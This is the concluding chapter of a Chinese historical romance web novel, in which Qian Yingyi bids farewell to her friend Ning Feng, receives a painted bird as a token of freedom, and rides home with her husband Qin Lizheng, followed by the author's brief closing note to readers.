钱映仪眼眶里含着一泡泪,奋力往她跟前跑,一把抱住她,带着点哭音道:“知道我有多想你吗!我成婚那日,你都没来!” “都当太太的人了,怎么还哭?”宁风忍俊不禁,眼眶里却也沾着点湿润,把钱映仪紧紧环着,片刻才道:“天子脚下,我哪有那么大的胆子敢露在人前啊,起先我去了西边,才刚安顿下来没多久呢,听到那些犯官被捉的动静,我暗猜你的好事将近,要是见不到我,指不定哭成什么样。” “我便一路冒着危险紧赶慢赶,赶回金陵见了雁雁 ,晓得了你的婚期,你不是见到我夹在盒子里的信了?都晓得我在暗处观你成婚,还有什么好哭的?” “别把我说成爱哭脸的花猫似的,”钱映仪揽着宁风不撒手,“我好想你。” “映仪,我也想你。” 如今宁风浑身带着一股豁然,往怀里摸出个锦盒递与钱映仪,“收着,赠你的新婚贺礼。” 钱映仪四下张望,要拉着宁风往客栈里头去,“咱们别站在这惹人瞧,进去说。” 宁风好笑拦住她的急切,柔声道:“见到你好,我就该走啦,京师这样的地方,我本就不该多待,你往后要好好的,明白没?还是那句话,一生漫长,咱们还会有再见的机会。” “你就要走?”钱映仪愕然悬着泪,眼睁睁瞧她解绳跨马,忍不住追问,“一个时辰都不多留了吗?” 宁风笑得肆意,俯身摸一摸她的脸,“有句话怎么说来着?映仪,江湖再见。”旋即远远向秦离铮颔首,独自一人策马离去。 直至她的身影渐隐在一片雪白里,钱映仪才愣神收回眼,闷头想了想,倒想通了,于是又拭干净泪痕,带着轻松自在跑向秦离铮,“走吧,咱们也回去。” 秦离铮俯身端详她的脸,没忍住问,“还以为你要伤心好一阵,怎的突然不哭了?” 钱映仪钻进马车里,放松靠在车壁上,晃着那锦盒里的东西,片刻,打开锦盒,笑吟吟取出它,在秦离铮眼前铺展开,待看清是什么,不防释然一笑,“是西境才有的山雀,阿风善于丹青,把它画下来赠与我了。” 说着,她歪着脑袋往秦离铮肩头靠,指一指画,“你瞧,羽毛是黑白交杂的,阿风从前在家里就喜读诗书,见过书上不少描述,奈何一直没机会去看,这回倒是个大好的机会,意外成全了她。” “她从前与我讲过这山雀,在西境象征自由,她送我这个,一来,是告诉我,她早已自由得不受任何拘束,二来,也想告诉我,哪怕我嫁了人,我也有赋予自己自由的权利,休想用那些复杂的枷锁困住我。” 她叹笑道:“没想到,我和雁雁,还有阿风,我们三个人里,最洒脱的竟是阿风。” 秦离铮垂眼跟着瞧一瞧画上的山雀,跟着笑一笑,“她说得对,你是有自由的权利。” 钱映仪叠好画纸,搁回锦盒里,噙着笑撩开车帘,想他昨日进了趟宫,便问,“皇上昨日召你进宫做什么?” 秦离铮替她撑着车帘,道:“皇后要指派一批宫女出宫,皇后心慈,念及宫女在宫中磋磨岁月,便借着皇上的口,问一问我,底下有哪些人是门户不太高、却又正值婚配的。” “有朝一日,你还能替人牵线?”钱映仪好笑戳一戳他的胳膊,笑道:“带我也去瞧瞧,我可会看男人了,什么男人可靠,什么男人不可靠,我一眼就能看出。” 秦离铮扬眉,回身凝望着她,“那可就相当于变相替我接下差事了,倘或你办得好,一个不留神,皇后邀你进宫做个女官什么的” “打住。”钱映仪忙不迭捂他的嘴,眼里浮着笑意,“这样的活,还是你自己去办,我只要松散自在,不要女官。” 秦离铮被她捂着嘴,“唔”了一声,含笑把下颌轻点。 钱映仪方收回手,带着点得意扬起下颌,正巧马车行过城门下,她探着脑袋往外头瞧,半晌牵出一抹畅意的笑,眼波闪着星星点点的光,“金陵小红豆没了,还能再有京师小红豆,小绿豆,小金豆,我要做的事可多着呢。” “你说得对,你有你自己的生活,”秦离铮握着她的肩笑了笑,“只是这生活里,独独不能少了我。” 钱映仪回首撞进他的眼底,蓦然像初见那样,笑盈盈开口,“那你要不要我带你回家呀?” 马车渐隐喧阗闹市,车轴声咕噜噜滚着,碾过残雪,隐约听见一声“好”,继而便是欣欣笑声。冰冻的柳絮振掉点冰渣,好似一切都将复苏,燕雀将要回来,他们也将在春去冬来里依偎着彼此,直至永恒。 ——全文完———— 作者有话说:全文完结啦!!!! 感谢你们~[亲亲] 平行世界的故事仍在继续 思来想去,我把两个人从相识写到相知,感觉又从头写青梅竹马的番外,会怪怪的,所以到这里就结束啦^^《 》